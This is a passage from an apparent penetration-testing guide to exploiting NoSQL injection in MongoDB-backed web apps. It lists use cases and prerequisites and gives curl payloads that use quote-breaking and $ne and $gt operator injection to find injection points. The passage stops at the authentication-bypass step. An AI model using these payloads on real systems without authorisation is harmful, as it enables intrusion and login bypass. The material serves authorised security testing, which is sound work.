# Exploiting NoSQL Injection Vulnerabilities ## When to Use - During web application penetration testing of applications using NoSQL databases - When testing authentication mechanisms backed by MongoDB or similar databases - When assessing APIs that accept JSON input for database queries - During bug bounty hunting on applications with NoSQL backends - When performing security code review of database query construction ## Prerequisites - Burp Suite Professional or Community Edition with JSON support - NoSQLMap tool installed (`pip install nosqlmap` or from GitHub) - Understanding of MongoDB query operators ($ne, $gt, $regex, $where, $exists) - Target application using a NoSQL database (MongoDB, CouchDB, Cassandra) - Proxy configured for HTTP traffic interception - Python 3.x for custom payload scripting ## Workflow ### Step 1 — Identify NoSQL Injection Points ```bash # Look for JSON-based login forms or API endpoints # Common indicators: application accepts JSON POST bodies, uses MongoDB # Test with basic syntax-breaking characters curl -X POST http://target.com/api/login \ -H "Content-Type: application/json" \ -d '{"username": "admin\"", "password": "test"}' # Test for operator injection in query parameters curl "http://target.com/api/users?username[$ne]=invalid" # Check for error-based detection curl -X POST http://target.com/api/search \ -H "Content-Type: application/json" \ -d '{"query": {"$gt": ""}}' ``` ### Step 2 — Perform Authentication Bypass ```bash #...
